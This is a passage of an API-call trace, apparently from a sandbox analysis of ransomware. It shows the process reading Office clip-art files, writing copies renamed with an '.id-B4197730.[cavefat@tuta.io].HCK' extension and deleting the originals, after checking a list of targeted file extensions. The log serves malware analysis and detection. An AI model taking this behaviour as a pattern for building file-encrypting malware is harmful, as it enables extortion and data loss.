(lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MP00646_.WMF") returned 68 [0178.190] lstrlenW (lpString=".doc") returned 4 [0178.190] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.190] lstrlenW (lpString=".docx") returned 5 [0178.190] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.190] lstrlenW (lpString=".pdf") returned 4 [0178.190] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.190] lstrlenW (lpString=".xls") returned 4 [0178.190] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.190] lstrlenW (lpString=".xlsx") returned 5 [0178.190] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.190] lstrlenW (lpString=".ppt") returned 4 [0178.190] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MP00646_.WMF") returned 68 [0178.190] lstrlenW (lpString=".zip") returned 4 [0178.190] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.191] lstrlenW (lpString=".rar") returned 4 [0178.191] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.191] lstrlenW (lpString=".bz2") returned 4 [0178.191] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.191] lstrlenW (lpString=".7z") returned 3 [0178.191] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MP00646_.WMF") returned 68 [0178.191] lstrlenW (lpString=".dbf") returned 4 [0178.191] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MP00646_.WMF") returned 68 [0178.191] lstrlenW (lpString=".1cd") returned 4 [0178.191] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MP00646_.WMF") returned 68 [0178.191] lstrlenW (lpString=".jpg") returned 4 [0178.191] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.191] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.191] lstrlenW (lpString="NA00058_.WMF") returned 12 [0178.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00058_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.193] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=3754) returned 1 [0178.193] CloseHandle (hObject=0x300) returned 1 [0178.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00058_.wmf")) returned 0x220 [0178.194] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00058_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00058_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00058_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.197] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.197] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00058_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00058_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0178.201] GetLastError () returned 0x0 [0178.201] ReadFile (in: hFile=0x300, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0xeaa, lpOverlapped=0x0) returned 1 [0178.202] WriteFile (in: hFile=0x39c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xeb0, lpOverlapped=0x0) returned 1 [0178.203] ReadFile (in: hFile=0x300, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.203] WriteFile (in: hFile=0x39c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.203] SetEndOfFile (hFile=0x39c) returned 1 [0178.206] CloseHandle (hObject=0x39c) returned 1 [0178.206] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.206] SetEndOfFile (hFile=0x300) returned 1 [0178.212] CloseHandle (hObject=0x300) returned 1 [0178.212] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00058_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.212] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00058_.wmf")) returned 1 [0178.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00058_.WMF") returned 68 [0178.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00058_.WMF") returned 68 [0178.213] lstrlenW (lpString=".doc") returned 4 [0178.213] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.213] lstrlenW (lpString=".docx") returned 5 [0178.213] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.213] lstrlenW (lpString=".pdf") returned 4 [0178.213] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.213] lstrlenW (lpString=".xls") returned 4 [0178.213] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.213] lstrlenW (lpString=".xlsx") returned 5 [0178.213] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.213] lstrlenW (lpString=".ppt") returned 4 [0178.213] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00058_.WMF") returned 68 [0178.213] lstrlenW (lpString=".zip") returned 4 [0178.213] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.213] lstrlenW (lpString=".rar") returned 4 [0178.213] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.213] lstrlenW (lpString=".bz2") returned 4 [0178.213] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.213] lstrlenW (lpString=".7z") returned 3 [0178.213] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00058_.WMF") returned 68 [0178.213] lstrlenW (lpString=".dbf") returned 4 [0178.213] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00058_.WMF") returned 68 [0178.213] lstrlenW (lpString=".1cd") returned 4 [0178.213] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00058_.WMF") returned 68 [0178.213] lstrlenW (lpString=".jpg") returned 4 [0178.213] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00058_.WMF") returned 68 [0178.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00058_.WMF") returned 68 [0178.213] lstrlenW (lpString=".doc") returned 4 [0178.213] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.213] lstrlenW (lpString=".docx") returned 5 [0178.213] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.213] lstrlenW (lpString=".pdf") returned 4 [0178.214] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.214] lstrlenW (lpString=".xls") returned 4 [0178.214] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.214] lstrlenW (lpString=".xlsx") returned 5 [0178.214] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.214] lstrlenW (lpString=".ppt") returned 4 [0178.214] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00058_.WMF") returned 68 [0178.214] lstrlenW (lpString=".zip") returned 4 [0178.214] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.214] lstrlenW (lpString=".rar") returned 4 [0178.214] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.214] lstrlenW (lpString=".bz2") returned 4 [0178.214] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.214] lstrlenW (lpString=".7z") returned 3 [0178.214] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00058_.WMF") returned 68 [0178.214] lstrlenW (lpString=".dbf") returned 4 [0178.214] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00058_.WMF") returned 68 [0178.214] lstrlenW (lpString=".1cd") returned 4 [0178.214] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00058_.WMF") returned 68 [0178.214] lstrlenW (lpString=".jpg") returned 4 [0178.214] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.214] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.214] lstrlenW (lpString="NA00388_.WMF") returned 12 [0178.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00388_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00388_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0178.217] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=4466) returned 1 [0178.217] CloseHandle (hObject=0x3a4) returned 1 [0178.217] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00388_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00388_.wmf")) returned 0x220 [0178.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00388_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00388_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00388_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00388_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.221] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.221] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00388_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00388_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.225] GetLastError () returned 0x0 [0178.225] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x1172, lpOverlapped=0x0) returned 1 [0178.226] WriteFile (in: hFile=0x300, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x1180, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x1180, lpOverlapped=0x0) returned 1 [0178.227] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.227] WriteFile (in: hFile=0x300, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.227] SetEndOfFile (hFile=0x300) returned 1 [0178.230] CloseHandle (hObject=0x300) returned 1 [0178.231] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.231] SetEndOfFile (hFile=0x2fc) returned 1 [0178.235] CloseHandle (hObject=0x2fc) returned 1 [0178.237] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00388_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.237] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00388_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00388_.wmf")) returned 1 [0178.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00388_.WMF") returned 68 [0178.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00388_.WMF") returned 68 [0178.239] lstrlenW (lpString=".doc") returned 4 [0178.239] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.239] lstrlenW (lpString=".docx") returned 5 [0178.239] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.239] lstrlenW (lpString=".pdf") returned 4 [0178.239] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.239] lstrlenW (lpString=".xls") returned 4 [0178.239] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.239] lstrlenW (lpString=".xlsx") returned 5 [0178.239] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.239] lstrlenW (lpString=".ppt") returned 4 [0178.239] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00388_.WMF") returned 68 [0178.239] lstrlenW (lpString=".zip") returned 4 [0178.239] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.239] lstrlenW (lpString=".rar") returned 4 [0178.239] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.239] lstrlenW (lpString=".bz2") returned 4 [0178.239] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.239] lstrlenW (lpString=".7z") returned 3 [0178.239] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00388_.WMF") returned 68 [0178.239] lstrlenW (lpString=".dbf") returned 4 [0178.239] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00388_.WMF") returned 68 [0178.239] lstrlenW (lpString=".1cd") returned 4 [0178.239] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00388_.WMF") returned 68 [0178.239] lstrlenW (lpString=".jpg") returned 4 [0178.240] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00388_.WMF") returned 68 [0178.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00388_.WMF") returned 68 [0178.240] lstrlenW (lpString=".doc") returned 4 [0178.240] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.240] lstrlenW (lpString=".docx") returned 5 [0178.240] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.240] lstrlenW (lpString=".pdf") returned 4 [0178.240] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.240] lstrlenW (lpString=".xls") returned 4 [0178.240] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.240] lstrlenW (lpString=".xlsx") returned 5 [0178.240] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.240] lstrlenW (lpString=".ppt") returned 4 [0178.240] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00388_.WMF") returned 68 [0178.240] lstrlenW (lpString=".zip") returned 4 [0178.240] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.240] lstrlenW (lpString=".rar") returned 4 [0178.240] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.240] lstrlenW (lpString=".bz2") returned 4 [0178.240] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.240] lstrlenW (lpString=".7z") returned 3 [0178.240] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00388_.WMF") returned 68 [0178.240] lstrlenW (lpString=".dbf") returned 4 [0178.240] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00388_.WMF") returned 68 [0178.240] lstrlenW (lpString=".1cd") returned 4 [0178.240] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00388_.WMF") returned 68 [0178.240] lstrlenW (lpString=".jpg") returned 4 [0178.240] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.240] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.240] lstrlenW (lpString="NA00394_.WMF") returned 12 [0178.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00394_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00394_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0178.242] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=10964) returned 1 [0178.242] CloseHandle (hObject=0x3a4) returned 1 [0178.243] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00394_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00394_.wmf")) returned 0x220 [0178.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00394_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00394_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00394_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00394_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0178.249] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.249] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00394_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00394_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0178.254] GetLastError () returned 0x0 [0178.254] ReadFile (in: hFile=0x3a4, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x2ad4, lpOverlapped=0x0) returned 1 [0178.256] WriteFile (in: hFile=0x368, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x2ae0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x2ae0, lpOverlapped=0x0) returned 1 [0178.256] ReadFile (in: hFile=0x3a4, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.256] WriteFile (in: hFile=0x368, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.256] SetEndOfFile (hFile=0x368) returned 1 [0178.258] CloseHandle (hObject=0x368) returned 1 [0178.260] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.260] SetEndOfFile (hFile=0x3a4) returned 1 [0178.263] CloseHandle (hObject=0x3a4) returned 1 [0178.265] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00394_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.265] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00394_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00394_.wmf")) returned 1 [0178.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00394_.WMF") returned 68 [0178.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00394_.WMF") returned 68 [0178.267] lstrlenW (lpString=".doc") returned 4 [0178.267] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.267] lstrlenW (lpString=".docx") returned 5 [0178.267] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.267] lstrlenW (lpString=".pdf") returned 4 [0178.267] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.267] lstrlenW (lpString=".xls") returned 4 [0178.267] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.267] lstrlenW (lpString=".xlsx") returned 5 [0178.267] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.267] lstrlenW (lpString=".ppt") returned 4 [0178.267] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00394_.WMF") returned 68 [0178.267] lstrlenW (lpString=".zip") returned 4 [0178.267] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.267] lstrlenW (lpString=".rar") returned 4 [0178.267] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.267] lstrlenW (lpString=".bz2") returned 4 [0178.267] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.267] lstrlenW (lpString=".7z") returned 3 [0178.267] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00394_.WMF") returned 68 [0178.267] lstrlenW (lpString=".dbf") returned 4 [0178.267] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00394_.WMF") returned 68 [0178.268] lstrlenW (lpString=".1cd") returned 4 [0178.268] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00394_.WMF") returned 68 [0178.268] lstrlenW (lpString=".jpg") returned 4 [0178.268] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00394_.WMF") returned 68 [0178.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00394_.WMF") returned 68 [0178.268] lstrlenW (lpString=".doc") returned 4 [0178.268] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.268] lstrlenW (lpString=".docx") returned 5 [0178.268] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.268] lstrlenW (lpString=".pdf") returned 4 [0178.268] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.268] lstrlenW (lpString=".xls") returned 